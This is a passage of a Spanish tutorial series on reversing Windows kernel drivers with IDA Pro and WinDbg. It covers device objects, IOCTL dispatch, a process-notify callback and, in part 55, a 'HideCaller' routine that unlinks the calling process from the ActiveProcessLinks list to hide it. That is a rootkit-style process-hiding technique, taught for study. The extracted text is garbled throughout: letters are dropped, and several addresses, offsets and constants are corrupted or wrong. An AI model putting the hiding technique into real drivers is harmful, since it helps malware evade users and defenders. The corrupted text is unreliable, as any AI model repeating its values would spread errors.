Vemos que es similar al anterior guardara la direccinn de la funcinn que escribimos DriverUnload en la
misma posicinn de la estructura, para llamarla al descargarse.
Vemos que como el campo DriverUnload es distnto de cero, saltara a la parte rosada donde guardara
nuestro puntero en esa variable de la seccinn data llamada WdfDriverStubDisplacedDriverUnload.

Y ademas pisa el DriverUnload con una funcinn que no es mía llamada FxStubDriverUnload y que si la
vemos.
Al descargar el driver vendrá entonces a FxStubDriverUnload , pero luego cargara nuestra funcinn
DriverUnload de la variable WdfDriverStubDisplacedDriverUnload ya que allí la había guardado y salta
en el CALL EAX de la misma forma que en el ejemplo anterior solo que dando un poco mas de vueltas.

En la prnxima parte trataremos de compilar un driver que se llame a un IOCTL desde una aplicacinn
de user, sabiendo que esta es una de las formas en las que se explotan generalmente los drivers (no
es la única)

Hasta la prnxima
Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 52 KERNEL
Seguiremos con esta tercera parte de kernel y antes de ir directo a la explotación reversearemos y
entenderemos ciertas estructuras y funcionamientos que despues nos serán mas familiares cuando
las veamos en drivers mas complejos.

En este caso crearemos un driver que no solo se cargara y descargara como antes sino que se podrá
desde un programa en modo user, enviarle ciertos argumentos para interactuar con el.

Para recibir información desde modo user, debemos enseñarle a nuestro driver a responder a los
códigos de control de entrada y salida del dispositvo (IOCTL) que se le pueden suministrar desde el
modo de usuario utliiando la API de DeviceIoControl. Ya hemos visto cómo nuestro driver puede
cambiar la rutna de descarga, usando la estructura DRIVER_OBJECT y modifcando el puntero que allí
se guarda. Manejar IOCTLs es muy similar, solo tenemos que proporcionar un par de rutnas mas.

Lo primero que debemos hacer en nuestro punto de entrada sera crear un DEVICE OBJECT.

No voy a explicar toda la teoría sobre esto el que quiere profundiiar léase:

h ps://docs.microso .com/en us/ indo s hard are/drivers/kernel/introducton to device objects

Y esto debe ser asi, en nuestro primer driver solo lo podíamos arrancar y parar y no podía recibir
comandos de control desde user, por eso ahora debemos crear el DEVICE OBJECT usando la api
IoCreateDevice.

En el código fuente eso esta aquí dentro de la función DriverEntry


status = IoCreateDevice(DriverObject,
0,
&deviceNameUnicodeString,
FILE_DEVICE_HELLOWORLD,
0,
TRUE,
&interfaceDevice);

Parameters
DriverObject [in]
Pointer to the driver object for the caller. Each driver receives a pointer to its driver object in a
parameter to its DriverEntry routne.

NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject,
PUNICODE_STRING RegistryPath)
{

Como hablamos visto DriverEntry recibía dos argumentos, el primero es un puntero a la estructura
DRIVER OBJECT ese se pasa como primer argumento de IoCreateDevice.
DeviceName [in, optonal]
Optonally points to a bu er containing a null terminated Unicode string that names the device
object.

WCHAR deviceNameBu er[] = L"\\Device\\HelloWorld";


UNICODE_STRING deviceNameUnicodeString;

En nuestro código corresponde al nombre del device y luego se copia a


deviceNameUnicodeString que se pasa como argumento de la api.

DeviceType [in]
Specifes one of the system defned FILE_DEVICE_XXX constants that indicate the type of device (such
as FILE_DEVICE_DISK or FILE_DEVICE_KEYBOARD) or a vendor defned value for a ne type of device.

En nuestro caso es un valor defnido por nosotros al inicio del código.

#define FILE_DEVICE_HELLOWORLD 0x00008337

DeviceObject [out]
Pointer to a variable that receives a pointer to the ne ly created DEVICE_OBJECT structure.
The DEVICE_OBJECT structure is allocated from nonpaged pool.

Es un puntero a un d ord donde la api guardara un puntero allí, por eso dice OUT es para salida de la
misma api.

Esos son los mas importantes, veamos ahora un poco el código en IDA,
ahora que conocemos esta api.

Vemos que la función que llama a nuestro DriverEntry es similar


Veamos la parte de nuestro código.

Allí empieia tene los dos mismos punteros a estructuras del tpo _DRIVER_OBJECT y
_UNICODE_STRING.

Los demás son variables, como tenemos símbolos en este caso no es muy di cil, pero es bueno irse
acostumbrandose de a poco para los casos reales donde no tengamos símbolos.

Vemos que en var_4 guarda la COOKIE de protección del stack.


Allí copia el device name unicode con un siie de 9 d ords (0x24 bytes) al destnaton que es
deviceNameBu er, cuyo largo es 19 ords o sea 19 por 2, en total 38 bytes decimal 0x26 bytes hexa,
asi que todo bien lo que copiara es menor al bu er.

Python>hex(0x19*2)
0x32

Luego copia el DOS_DEVICE_NAME copiara 0xb d ords o sea 0xb *4 es 0x2c bytes hexa en total

Y el bu er de destno es deviceLinkBu er veamos su largo.

Es 23 decimal por 2 o sea 46 bytes o sea 0x2e hexa, asi que tampoco hay over o aquí.
La cuestón es que en deviceNameBu er esta el device name y en deviceLinkBu er esta el Dos device
name.

Luego esta el DbgPrint que imprime el mensaje “DriverEntry called”

Sigamos lo siguiente sera transformar una string unicode en una que sea del tpo _UNICODE_STRING,
eso lo hará la api RtlInitUnicodeString.

Tenemos una llamada a RtlInitUnicodeString

WCHAR deviceNameBuffer[] = L"\\Device\\HelloWorld";

El source deviceNameBuffer es un puntero a un buffer que tiene una


string unicode y el destination es un puntero a una estructura
UNICODE_STRING .
Esta estructura ya la habíamos visto tiene tres campos dos words (lenght
y MaximumLenght) y el tercero debe ser un puntero a la string unicode.

Quiere decir que la api copiara la dirección de ese buffer source en el


tercer campo de la estructura, le agregara el lenght y MaximumLenght en
los campos correspondientes y con eso habra transformado un buffer común
con una string unicode en una estructura _UNICODE_STRING.

Es una estructura del tpo UNICODE_STRING con 8 bytes de largo ya que son dos ords para los
lenghts y un d ord para copiar allí el puntero al bu er con la string unicode,
Luego esta la llamada a la api que habíamos hablado IoCreateDevice.

Habíamos visto que el argumento mas lejano o sea el ultmo era un puntero a un d ord que se usaba
como salida para que la api guarde allí un puntero, vemos eso pone a cero la variable interfaceDevice
y luego con lea halla el puntero a esa variable donde escribirá un puntero.

Luego hay un PUSH 1 que es el argumento Exclusive que no lo vimos antes porque no es de gran
importancia, luego viene PUSH EDI, vemos que en EDI hay un cero ya que había un XOR EDI, EDI
antes.
No es tampoco muy importante, luego viene push 8337h que es el DeviceType que habíamos defnido
en el código fuente

#define FILE_DEVICE_HELLOWORLD 0x00008337

Luego viene el puntero a la estructura con la _UNICODE_STRING con el


deviceName

Luego otro PUSH EDI que es cero de DeviceExtensionSiie y al fnal en EBX esta el puntero a
DriverObject.

Recordamos que eso era un puntero a la estructura _DRIVER_OBJECT.


Bueno al salir de la api se habrá creado el DeviceObject.

Si en EAX tene un valor negatvo habrá fallado y el JS saltara por la echa verde sino sera correcto y
ira al DbgPrint que imprimirá “Sucess”

Luego hará lo mismo con la otra string unicode al convertrla de un bu er con una string unicode a la
forma de estructura _UNICODE_STRING al igual que antes con la api RtlInitUnicodeString.

Por lo tanto deviceLinkUnicodeString ahora sera del tpo _UNICODE_STRING y tendrá en su tercer
campo un puntero a un bu er con la string unicode L"\\DosDevices\\HelloWorld".
Luego pasando los punteros a las dos _UNICODE_STRING a la api IoCreateSymbolicLink creamos el
symbolic link entre el DeviceObject y el modo user.

EBX tenia el puntero a la estructura DRIVER_OBJECT

Si no esta en estructuras como antes vamos a LOCAL TYPES y sincroniiamos para que apareica y
apretamos T en cada uno de esos campos.

Al igual que en el caso anterior seteamos una rutna custom para cuando se descarga el driver, que
esta en ebx+34h, apretando T vemos que es el campo DriverUnload.
Vemos que la rutna al descargar el driver no solo imprime con DbgPrint la string “Driver unloading”

Como antes habíamos creado el symbolicLink con la api IoCreateSymbolicLink al salir tenemos que
borrarla con IoDeleteSymbolicLink y también como habíamos usando para crear el DeviceObject con
IoCreateDevice ahora se borrara con IoDeleteDevice sino habrá problemas
para cargarlo nuevamente.

Lo ultimo en la función de entrada es el campo MajorFunction que es un


array de punteros callbacks (dwords) a diferentes funciones.
Allí vemos que MajorFuncion [IRP_MJ_CREATE] que es la primera posición del
array o sea MajorFuncion [0x0]

Ya que hay una tablita

[IRP_MJ_CREATE] es 0x0
[IRP_MJ_CLOSE] es 0x02
[IRP_MJ_DEVICE_CONTROL] es 0x0e

A los tres campos se los inicializa con la dirección de la función


DriverDispatch.

Se escribe en la posición 0x0 ya que [IRP_MJ_CLOSE] es 0x0 por 4 es 0

Luego

[IRP_MJ_CLOSE] es 0x02 por 4 da el byte 8


Y luego

[IRP_MJ_DEVICE_CONTROL] es 0x0e por 4 es 0x38

Así que en los tres escribe el mismo puntero a la misma función.

Vemos que cada uno de esos callbacks se llama en diferentes momentos de


la interacción desde un programa en modo user.

Se ve que cuando llamemos de una aplicación en user mode a través de DeviceIoControl usando un
IOCTL se utliia ese callback, igual en los tres casos va a la misma función ya que los pisamos con
punteros a DriverDispatch.
Vemos que la función recibe dos argumentos el famoso puntero a DEVICE_OBJECT y el segundo es un
puntero al Irp que es una estructura compleja ya la veremos mejor luego.
Vemos que al igual que la vei anterior al registrarlo y arrancarlo imprime DriverEntry called y Sucess y
al descargar Driver Unloading pero ahora ademas desde una aplicación user que yo hice cuando esta
corriendo o sea antes hay que darle a START SERVICE para que corra.

Con las interacciones desde el programa en user mode se llama al dispatch, vemos que mi programita
solo hace esto.(el ejecutable estará adjunto)
#include "stdafx.h"
#include <windows.h>

#define FILE_DEVICE_HELLOWORLD 0x00008337


#define IOCTL_SAYHELLO (ULONG) CTL_CODE( FILE_DEVICE_HELLOWORLD, 0x00,
METHOD_BUFFERED, FILE_ANY_ACCESS )

int main()
{

HANDLE hDevice;
DWORD nb;
hDevice = CreateFile(TEXT("\\\\.\\HelloWorld"), GENERIC_READ |
GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

DeviceIoControl(hDevice, IOCTL_SAYHELLO, NULL, 0, NULL, 0, &nb,


NULL);

CloseHandle(hDevice);
return 0;

O sea cuando llamo a CreateFile para poder tener un handle del driver salta al dispatch a través del
callback [IRP_MJ_CREATE] y imprime

Luego al llamar usando la api DeviceIoControl pasándole el IOCTL


Vemos que usa el callback [IRP_MJ_DEVICE_CONTROL] y luego chequea cual es el
IOCTL en este caso IOCTL_SAYHELLO

En ese caso imprime “Hello World”

Y el ultmo se llama cuando hago CloseHandle y llama a [IRP_MJ_CLOSE]


Sincroniio la estructura IRP en LOCAL TYPES

Y puedo ver en la pestaña ESTRUCTURAS la misma.

Vemos que cuando lo tro debuggeando y pongo Breakpoint en la función dispatch luego de llegar alli
Lee desde la estructura IRP, la parte TAIL no esta especifcada en MSDN pero alli, luego de buscar el
campo en EDI+60, y pasarlo a EBX , el contenido del mismo va a EAX que tene la primera vei que para
el valor de [IRP_MJ_CREATE] o sea cero, y en este caso va alli a imprimir
ese mensaje de que paso por create.

Si le doy RUN nuevamente parara de nuevo con EAX=0e de


[IRP_MJ_DEVICE_CONTROL]

Como EAX es diferente de cero va por aquí


Y en este caso llega al bloque rosado imprime que llego alli por un IOCTL.

#define IOCTL_SAYHELLO (ULONG) CTL_CODE( FILE_DEVICE_HELLOWORLD, 0x00,


METHOD_BUFFERED, FILE_ANY_ACCESS )

En el código el IOCTL code que se obtiene desde el 0x8337 del


FILE_DEVICE se le realizan varias operaciones según el tipo de IOCTL( en
este caso METHOD BUFFERED, etc etc) lo cual nos da el IOCTL 83370000.

Alli lo compara y como es ese, va e imprime el cartel de “Hello World!”

Cuando pasamos por el DebugPrint nos muestra en la barra del Windbg el mensaje, si hubiera varios
IOCTL con diferentes acciones habría un s itch aquí justamente para que desvié la ejecución según el
que sea.
La tercera vei que para es cuando hacemos CloseHandle EAX es 2.

Y imprime

Creo que con esto tenemos una buena introducción al tema, seguiremos en la siguiente parte,
profundiiando mas.

Hasta la parte siguiente


Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 53 KERNEL
Un detalle que quería aclarar que en la parte anterior no hallamos, ya que la defnición de la
estructura IRP no esta completa era como llegar a reversear hasta que aparezca el IOCTL code.

Si vuelvo a debuggear y cuando paro uso la barra de windbg para ver la estructura, sabemos que el
comando dt nos muestra la estructura es este caso la estructura _IRP.

Igual no nos muestra la posición 0x60 que es la que lee y esta dentro de Tail, lo mismo que nos pasa
en la estructura del IDA, pero acá hay un truquito que sirve para aclarar un poco mas las cosas.

Hay varios modifcadores del comando dt uno es -v que lo pone en modo verbose otro es -r que nos
da la profundidad de las sub-estructuras para que nos muestre las mismas, veamos que pasa si
ponemos.
Ahora se ve mejor incluso nos muestra el contenido de Tail
Vemos que Tail empieza en 0x40 y 0x20 mas adelante esta CurrentStackLocaton, que seria la
estructura que se encuentra en 0x60

Si uno busca por el WDK si lo tene instalado

Ve la defnición de CurrentStackLocaton que es una estructura del tpo _IO_STACK_LOCATION


veamos si esta nos la dumpea el windbg.

Algo mas obtuvimos pero aun no sale el campo 0x0c que esta dentro de Parameters, también
buscamos que nos muestre la estructura con mas profundidad asi que usaremos los modifcadores
nuevamente.
Vemos que los campos a partr del o set 0x4 cambian según la acción que estemos ejecutando, para
cada acción hay una defnición diferente de estos campos.

Como en nuestro caso buscamos el IOCTL code ese solo se usa la segunda vez que para cuando
llamamos a DeviceIoControl, asi que podemos mirar alli y ver que el campo 0x8 dentro de
Parameters, para ese caso es el IOCTL, si miramos desde el inicio de la estructura
_IO_STACK_LOCATION sera el campo 0xC ya que había 0x4 bytes antes de Parameters.

Si buscamos en el WDK la defnición de la estructura

Vemos que al igual que nos sale en el Windbg la primera parte es fja pero despues cuando dice union
signifca que la parte siguiente es variable y depende del código que estamos trabajando, hay
diferentes valores según se este llamando desde CreatefIle, ReadFile, etc lo que nos importa a
nosotros es cuando se llama desde DeviceIoControl ya que es la api que se usa para pasar los IOCTL.
Ahí esta asi que como el tpo ULONG es de 4 bytes de largo vemos entonces que si lo completamos.

Los primeros son 4 UCHAR o sea de un byte cada uno quiere decir que la estructura Parameters
empezaba en 0x4 eso nos decía el windbg

Y luego alli en 0x4 desde el inicio de _IO_STACK_LOCATION estará el primer campo de la misma
OutputBu erLenght , en 0x8 estará InputBu erLenght y en 0xC estará el IOCTL o IOControlCode.

Lo cual coincide con el reversing ya que si en IRP + 0x60 empezaba la estructura


_IO_STACK_LOCATION, esa se lee aquí.
Quiere decir que en EBX tenemos la dirección de _IO_STACK_LOCATION, asi que como eso existe en
LOCAL TYPES en IDA la sincronizamos y en EBX apretamos T y la elegimos.

Alli este lee a EAX el valor MajorFuncton ya que lee solo un byte y es ese campo.
Recordemos que era el valor que salia de la tablita

La primera vez cuando hago CreateFile valdrá 0x0, la segunda vez cuando uso DeviceIoControl valdrá
0xE y la tercera vez cuando uso CloseHandle valdrá 0x02.
Por supuesto como es la primera vez que para, cuando hace CreateFile, EAX valdrá cero

Seguiré hasta que pare nuevamente en la misma dirección.

Ahora si MajorFuncion es 0xe.

Vemos que en la posición 0xC que va a leer el IOCTL si apreto T


Me salen varias opciones y si veo hay para Create, Read, etc busco la de DeviceIoControl y el campo
es IoControlCode.

Y ahora si me queda perfectamente reverseado y coincide ya que solo pasara por alli cuando sea el
MajorFuncton 0xE, y como en los otros valores de MajorFuncion no pasa por acá, no habrá ningún
error.

Si en otra parte del programa lee ese mismo campo 0xc cuando utliza otra MajorFuncton en ese caso
al apretar T elegiremos la acción correspondiente y el reversing nos quedara de acuerdo a cada caso
como corresponde.

Hasta la parte 54
Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 54 KERNEL.
Vamos a modifcar un poco el ejercicio anterior y ademas vamos a hacer el programita en user,
directamente en Python.

Para ello en la maquina target donde esta el driver corriendo deben instalar Python, yo instale la
versión 2.7, y ademas bajarse el instalador de pywin32 el que corresponda a su versión de Python.

hps://sourceoorge.net/projects/pywin32/fles/pywin32/Build32 24//

Como la mía es la 2.7 baje este.

Es un instalador se ejecuta y listo con eso ya podremos correr el script de Python que reemplazara al
programa user.

Vemos que el driver ahora tene dos IOCTL code mas

Ademas del IOCTL_SAYHELLO que ya teníamos , ahora hay dos nuevos que son IOCTL_HOOK y
IOCTL_UNHOOK.
Vemos que dentro del caso que MajorFuncton sea IRP_MJ_DEVICE_CONTROL, hay otro switch que
tene los tres cases de los IOCTL.

Vemos que el IOCTL que teníamos antes sigue solo imprimiendo “Hello World”

case IOCTL_SAYHELLO:
DbgPrint("Hello World!\n");
status = STATUS_SUCCESS;
break;

Veamos los otros dos

case IOCTL_HOOK:
PsSetCreateProcessNotifyRoutine(
DriverProcessNotifyRoutine, FALSE);
break;
case IOCTL_UNHOOK:
PsSetCreateProcessNotifyRoutine(
DriverProcessNotifyRoutine, TRUE);
break;

Vemos que usa PsSetCreateProcessNotifyRoutine


Esta ounción permite agregar un CALLBACK o sea una ounción propia, que se disparara cada vez que el
sistema arranque o pare un programa, pasándole para actvarlo el segundo argumento FALSE, y el
primero la ounción donde saltara.

La ounción nuestra a la cual saltara se llama DriverProcessNotifyRoutine y si Create es


verdadero imprime que hay un proceso nuevo, el PID del proceso parent que lo creo y el del creado.

VOID DriverProcessNotifyRoutine(
IN HANDLE ParentId,
IN HANDLE ProcessId,
IN BOOLEAN Create)
{
if (Create)
{
DbgPrint("Process %d created process %d\n",
ParentId, ProcessId);
}
else
{
DbgPrint("Process %d has ended\n",
ProcessId);
}
}

Y lo mismo cuando el proceso se termina como Create sera falso imprimirá


que el Proceso ha terminado con su PID.

Por supuesto hay que asegurarse que antes de detener el driver la


función sea deshookeada sino saltara a una función que no existe al no
correr mi driver y producira un BSOD.

case IOCTL_UNHOOK:
PsSetCreateProcessNotifyRoutine(
DriverProcessNotifyRoutine, TRUE);
break;

El segundo argumento en TRUE la deshookea y queda el sistema normal


nuevamente.
Bueno el código fuente del driver estará disponible recuerden que si lo
compilan en Visual Studio deben cambiar en los Settings que sea para
Windows 7 y la propiedad Desktop asi como bajar el nivel de rigurosidad
de los errores de 4 a nivel 1 o 2.

Bueno ahora viene el script de Python que le enviara los IOCTL al driver
cuando este corriendo.

Vemos que es un script pequeño, hay que importar win32api y win32fle, ademas de winioctlcon,
todo ello viene en el paquete pywin32 que instalamos si no lo instalan les dará error.

IOCTL_HOOK =winioctlcon.CTL_CODE( FILE_DEVICE_HELLOWORLD, 0x01, METHOD_BUFFERED,


FILE_ANY_ACCESS )

IOCTL_UNHOOK =winioctlcon.CTL_CODE( FILE_DEVICE_HELLOWORLD, 0x02, METHOD_BUFFERED,


FILE_ANY_ACCESS )

IOCTL_SAYHELLO=winioctlcon.CTL_CODE( FILE_DEVICE_HELLOWORLD, 0x00, METHOD_BUFFERED,


FILE_ANY_ACCESS )

Vemos que la ounción CTL_CODE que usábamos cuando creamos un ejecutable en C++ para hallar el
IOCTL, en Python la importa winioctlcon, con ello lograremos hallar los tres IOCTLs.

Luego tenemos el llamado a CreateFile

hDevice = win32file.CreateFile(r"\\.\HelloWorld",win32file.GENERIC_READ |
win32file.GENERIC_WRITE, 0, None,win32file.OPEN_EXISTING,
win32file.FILE_ATTRIBUTE_NORMAL, 0)

En este caso en el nombre del driver hay que poner barra invertda simple en vez de doble, el resto es
similar las constantes para los argumentos están en win32fle.

Y luego viene la llamada a DeviceIoControl hacemos que el usuario tpee una tecla y según lo que elije
le enviamos el código correspondiente, si elije cero, antes de salir deshookea la ounción para evitar
pantallas azules.
while 1:
print "1=HELLO\n","2=HOOK\n","3=UNHOOK\n","0=UNHOOK AND EXIT\n"

case=raw_input()
if case ==0:
break
if case==1:
win32file.DeviceIoControl(hDevice,IOCTL_SAYHELLO, None, None, None)
if case == 2:
win32file.DeviceIoControl(hDevice,IOCTL_HOOK, None, None, None)
if case == 3:
win32file.DeviceIoControl(hDevice,IOCTL_UNHOOK, None, None, None)

win32file.DeviceIoControl(hDevice,IOCTL_UNHOOK, None, None, None)


win32file.CloseHandle(hDevice)

Con ese script podríamos manejar el driver enviándole códigos IOCTL dioerentes, probemoslo.

Arranco el sistema target debuggeando y arranco el driver con el OSRLOADER, y lo dejo corriendo
ahora usare el script de Python a ver si va.

Vemos que despues que nos imprime el handle del driver salen las opciones para elegir.

Si apreto 4 no ounciona que paso?


case=raw_input()
4
case
type(case)

Out[6]: str

Ahh lo que retorna raw_input es una string y lo estamos comparando con un entero, cambiemos eso.

A ver ahora

Ahora si, cuando tpeamos 4 nos muestra “Hello world” hookeemos ahora apretando 2.
Ahora arranquemos algunos programas en la maquina

Vemos como nos loguea los procesos que arrancan y se cierran en mi caso arranque el Internet
explorer
Ahí esta el PID del IE es / 8/ y el padre es el Explorer al arrancar con doble click, cualquier proceso
que arranca en la maquina o se detene se logueara alli, ahora cerrare el IE.

Bueno ounciona ahora deshookeemos con 3, vemos que no se loguean mas los procesos que abrimos
y cerramos.

Con respecto al reversing es similar al caso anterior.


En el Dispatch vemos en este caso EDI que es Irp + x6 , tendrá la dirección de la estructura
_IO_STACK_LOCATION, ademas de poner un breakpoint alli, una vez que sincronizamos las
estructuras necesarias en LOCAL TYPES, nos aparecerá que ese campo es MajorFuncton

En el caso cuando MajorFuncton vale xE o sea que estamos usando DeviceIoControl, apretamos T y
de todas las opciones elegimos esa, que es para cuando se usa DeviceIoControl.

Vemos que cuando es IOCTL_SAYHELLO va al bloque amarillo que imprime HELLO WORLD, en los
otros dos casos va por los bloques verdes en el caso IOCTL_HOOK hace PUSH ESI que es cero para
pasar el argumento FALSE a la api PsSetCreateProcessNotoyRoutne@8 y en el caso de
IOCTL_UNHOOK hace PUSH 4 que es TRUE.

El otro argumento es el ofset de la ounción donde saltara.

Si hacemos click alli iremos a la misma.


Alli vemos si Create es oalso o sea CERO salta a PROCESS (PID) HAS ENDED y si es verdadero PROCESS
(PID) CREATED PROCESS (PID)

Si ponemos un breakpoint aquí, parara cada vez que arranquemos un proceso despues de haber
apretado 2 en el script de Python para HOOKEAR.

Les dejo como tarea poner los breakpoints en esta ounción y en el Dispatch y tracear para chequear lo
que hemos dicho reverseando.

Hasta la parte siguiente


Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 55 KERNEL.
Vamos a ver el siguiente ejemplo, pero como en este caso vamos a modifcar un valor desde kernel,
debemos ver bien que hacemos sino provocaremos una pantalla azul.

Lo primero que haremos sera cargar el ejercicio anterior y debuggearlo con windbg para ver un valor
que es necesario para este ejemplo.

Porque no digo el valor es tal, porque este ofset cambia entre sistema y sistema, a pesar de que avise
de que estoy usando Windows 7 de 32 bits como target por ahora, conviene chequearlo de paso
aprendemos mas sobre las estructuras que se manejan.

Como vimos en la parte anterior arrancamos el target con el windbg debuggeando el kernel remoto
como se explica alli, y cuando arranca el sistema, con el OSRLOADER arrancamos el driver, luego
breakeamos en el windbg y como vimos cambiamos al proceso OSRLOADER con

.process /i xxxxxxx

, poniendo el numero al lado del nombre del proceso.

En mi caso

.process /i 840 7d40


Y luego G.

Bueno ese amoso numerito que nunca dijimos el nombre, es la dirección de la estructura _EPROCESS
en mi caso 840 7d40 .

Si dumpeo la estructura en mi caso usare.

dt _EPROCESS 840 7d40

Veo que en mi caso en 0xB8 esta la estructura ActveProcessLinks que es la que estoy buscando, este
ofset varia de sistema en sistema, en XP esta en 0x88 y en otros sistemas variara también de posición
por lo cual esta bueno chequear su valor en nuestra maquina target.

La estructuras del tpo _LIST_ENTRY como esta, en 32 bits tenen 8 bytes de largo, y están compuestas
de dos punteros.

Usando dd se puede ver también.

Que alli en el ofset 0xb8 esta el primer puntero que es Flink cuyo valor en mi caso 0x85c1dd20 y el
Blink que vale en mi caso 0x84119568.

Esos son los dos campos de la misma estructura ActveProcessLink y apuntan a la misma estructura en
el siguiente y el anterior proceso, como sabemos que esa estructura en nuestro sistema esta en el
ofset 0xb8, podemos hallar el EPROCESS del proceso anterior al mio y del siguiente al mio, restandole
a ambos valores 0xb8.

Si vemos los EPROCESS de los otros procesos con !process 0 0

Vemos que nos da el EPROCESS del proceso siguiente y el anterior al OSRLOADER.

Por lo tanto FLINK que es FORWARD LINK apunta a la misma estructura ActveProcessLink del
siguiente proceso y BLINK que es BACKWARD LINK apunta a la misma estructura del anterior proceso
de la lista y en mi sistema el OFFSET a ActveProcessLink es 0xb8.

Bueno esto es por ahora lo que necesitamos saber para entender el uncionamiento del próximo
driver que compilaremos.

Como siempre adjuntare el código uente, pero esencialmente al driver anterior le agregamos una
unción que se llama HideCaller ya estudiaremos que hace, lo compilo en modo release y lo copio
junto con los símbolos a una carpeta para abrirlo con IDA.
Vemos que la agregamos una unción llamada HideCaller, si lo abrimos en IDA con sus simbolos,
vemos dentro del DriverDispatch una llamada a HideCaller.
Vemos que es una rutna sencilla

La unción IoGetCurrentProcess devuelve un puntero al EPROCESS de nuestro proceso.

Bueno la estructura eprocess no la tenemos en IDA hay que agregarla a mano pero con lo que ya
vimos en el windbg podemos crear una estructura vacía de largo 0x300 que nos sobra.

Vemos que cree una estructura vacía con el método que mostramos anteriormente en el curso.
Sabiamos que en el ofset 0xb8 empezaba la estructura de 8 bytes ActveProcessLink asi que vamos
alli en la pestaña estructuras y la agregamos.

Alli es un DWORD veremos de cambiarla ya que es del tpo _LIST_ENTRY.

Sincronizamos _LIST_ENTRY y entonces volvemos a la estructura y nos posicionamos en el campo y


apretamos ALT mas Q para cambiar ese campo al tpo estructura y elegimos la estructura LIST_ENTRY
que es de 8 bytes.
Ahora quedo mas lindo jeje.

Ahora apretando T vemos que ese campo es el BLINK ya que esta en 0xBC.

El método es pisar el FLINK del proceso anterior para que deje de apuntar a mi proceso y lo saltee en
la lista apuntando al próximo, y lo mismo el BLINK del próximo en vez de apuntar a mi proceso que lo
haga al anterior al mio, de esa orma cuando vaya recorriendo la lista salteara el mio.
En este ejemplo vemos que al FLINK del proceso anterior que apuntaba a 0x20000000 lo pisamos con
0x30000000 y al BLINK del proceso siguiente que apuntaba a 0x20000000 lo pisare con 0x10000000.

De esta orma ni el anterior ni el siguiente al mio tendrán punteros a mi proceso, lo saltearan al


recorrer la lista.

EAX apunta a la estructura ActceProcessLink y es del tpo _LIST_ENTRY podemos donde hay EAX +
XXX apretar T y elegir la estructura LIST_ENTRY para que muestre su campo.

A EAX que tenia el eprocess le suma 0xB8

El contenido (mi FLINK) lo mueve a ECX luego lo guarda en el contenido de EDX que tenia mi BLINK,
como apunta al proceso anterior, su contenido es el FLINK del proceso anterior asi que hace lo que
dice el método anterior, pisar el FLINK del proceso anterior con mi FLINK.
Luego viene el otro puntero que es escribir en FLINK +4 (ya que mi FLINK es 0x30000000 mas 4 da el
BLINK del siguiente proceso 0x30000004 y al pisar su contenido machacaremos el valor que tenia con
0x10000000 que es mi BLINK.

Alli lo hace guarda BLINK de mi proceso en el contenido de FLINK mas 4 o sea en el contenido de
0x30000004 machaca el valor que había alli en BLINK del siguiente con 0x10000000.

Lo ultmo es que EAX que tene la dirección de la estructura ActveProcessLink, en su contenido esta
mi FLINK lo pisa con esa misma dirección y lo mismo con mi BLINK, ahora lo debuggearemos para
aclarar un poco.

Pongo un BREAKPOINT alli


Reinicio la maquina copio el nuevo driver y atacheo el windbg, luego cuando ya arranca lo cierro y
atacheo el IDA como hicimos las veces anteriores.

Cuando lo llamo desde el script de python user.py del ejercicio anterior va al Dispatch y llega al
llamado de HideCaller.
Al pasarla api en EAX queda la direccion del EPROCESS en mi caso 844C1D40

Verifquemos con el windbg en la barra del plugin.

En este caso el proceso que llamo al Driver es el python.exe y ahi se ve el EPROCESS 0x844c1d40.

Veamos la estructura ActveProcessLinks

Alli vemos en la direccion de memoria EPROCESS + 0xb8 o sea 0x844c1d 8


Su contenido es el FLINK = 0x82757e98

Y el siguiente dword a contnuación es el BLINK = 0x84a80828

Ambos son el FLINK y BLINK de mi proceso.

FLINK = 82757de0 y BLINK = 0x84a80828

Al tracear y apretar T veo que lee mi BLINK y lo pasa a EDX

En EAX queda la direccion de la estructura ActveProcessLink, su contenido es FLINK lo mueve a ECX.


Luego va a copiar mi FLINK en el contenido de EDX que era mi BLINK el cual apuntara al
ActveProcessLink del proceso anterior.

Va a pisar ese el FLINK del proceso anterior con mi FLINK.

Luego levanta mi FLINK el cual por supuesto apunta al ActveProcessLink del siguiente proceso y le
suma 4 y halla el contenido, veamos el siguiente proceso.
Pisara el BLINK del siguiente proceso con mi BLINK.

Luego fnaliza pisando mi FLINK Y BLINK de mi proceso con la direccion de la estructura


ActveProcessLink, veamos como lista los procesos.

Vemos mi propio proceso tanto FLINK Y BLINK apuntan a la misma direccion de la estructura
ActveProcessLink.
Al hacer !process 0 0 lo mismo en la barra de tareas vemos que el proceso python desapareció de la
lista a pesar de que esta corriendo y eso es porque al ir recorriendo la lista y llegar al proceso justo
anterior el FLINK del mismo ya no apunta a mi proceso python.exe sino al siguiente, lo saltea, lo
mismo que el BLINK del siguiente no apunta mas al proceso python.exe sino al anterior, por eso es
como si no existera mas.

Ahora lo tro de nuevo los valores cambiaran.

PROCESS 844b0d00 SessionId: 1 Cid: 09ac Peb: 7ffd4000 ParentCid: 05f0


DirBase: 3ec33540 ObjectTable: 92850c90 HandleCount: 93.
Image: cmd.exe

PROCESS 85da2b48 SessionId: 1 Cid: 0ae8 Peb: 7ffdb000 ParentCid: 01a4


DirBase: 3ec33560 ObjectTable: 9e02eb90 HandleCount: 51.
Image: conhost.exe

PROCESS 84a76030 SessionId: 0 Cid: 0d88 Peb: 7ffdc000 ParentCid: 020c


DirBase: 3ec33580 ObjectTable: 9fe4a3d8 HandleCount: 230.
Image: taskhost.exe

PROCESS 84bfad40 SessionId: 1 Cid: 0e24 Peb: 7ffd7000 ParentCid: 05f0


DirBase: 3ec33460 ObjectTable: 9e37c198 HandleCount: 119.
Image: taskmgr.exe

PROCESS 844c1d40 SessionId: 1 Cid: 0dec Peb: 7ffd9000 ParentCid: 09ac


DirBase: 3ec334a0 ObjectTable: 9a2ab3c0 HandleCount: 51.
Image: python.exe

WINDBG>dt nt!_EPROCESS 844c1d40


+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d362e6`34e8bf28
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
